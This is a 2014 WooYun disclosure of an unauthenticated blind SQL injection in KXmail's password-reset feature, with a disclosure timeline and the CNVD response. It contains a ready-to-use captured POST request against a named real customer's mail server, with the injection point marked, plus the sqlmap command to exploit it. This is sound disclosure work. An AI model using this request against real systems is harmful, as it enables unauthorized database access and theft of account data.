当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065810

漏洞标题：KXmail（科信软件）无需登陆SQL盲注漏洞

相关厂商：科信软件

漏洞作者： 夕风号

提交时间：2014-06-25 15:16

修复时间：2014-09-23 15:18

公开时间：2014-09-23 15:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-25： 细节已通知厂商并且等待厂商处理中
2014-06-29： 厂商已经确认，细节仅向厂商公开
2014-07-02： 细节向第三方安全合作伙伴开放
2014-08-23： 细节向核心白帽子及相关领域专家公开
2014-09-02： 细节向普通白帽子公开
2014-09-12： 细节向实习白帽子公开
2014-09-23： 细节向公众公开

简要描述：

Just another bug.
求顺带审核其它漏洞~~~~

详细说明：

1.客户遍天下
http://www.kxmail.net/Customer/index.html
2.举例
以http://mail.pushmold.com为例，在找回密码处，
http://mail.pushmold.com/prog/get_passwd.php
输入postmaster@pushmold.com，下一步，抓包，导入a.txt，并在postmaster%40pushmold.com后添加*以便sqlmap测试:

POST http://mail.pushmold.com/prog/get_passwd.server.php HTTP/1.1
Host: mail.pushmold.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://mail.pushmold.com/prog/get_passwd.php
Content-Length: 236
Cookie: PHPSESSID=5b4eb47dcaad662486d4d73bdc2afc56
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
xjxfun=DoOperate&xjxr=1403400674828&xjxargs[]=%3Cxjxobj%3E%3Ce%3E%3Ck%3Esetup%3C%2Fk%3E%3Cv%3ES1%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3Euser%3C%2Fk%3E%3Cv%3ES%3C!%5BCDATA%5Bpostmaster%40pushmold.com*%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3C%2Fxjxobj%3E

漏洞证明：

sqlmap.py -r a.txt

1.png

修复方案：

过滤

版权声明：转载请注明来源 夕风号@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-06-29 21:41

厂商回复：

CNVD确认并复现所述情况，确认漏洞通用性，已经按两个步骤进行处置，电话至***（对方拒绝处置称他们的产品没有问题），后将通报发送至网站邮箱中service 处置。（2）根据测试用例，已经将涉及政府案例转由CNCERT下发四川和重庆分中心进行处置。

最新状态：

暂无

漏洞评价：

评论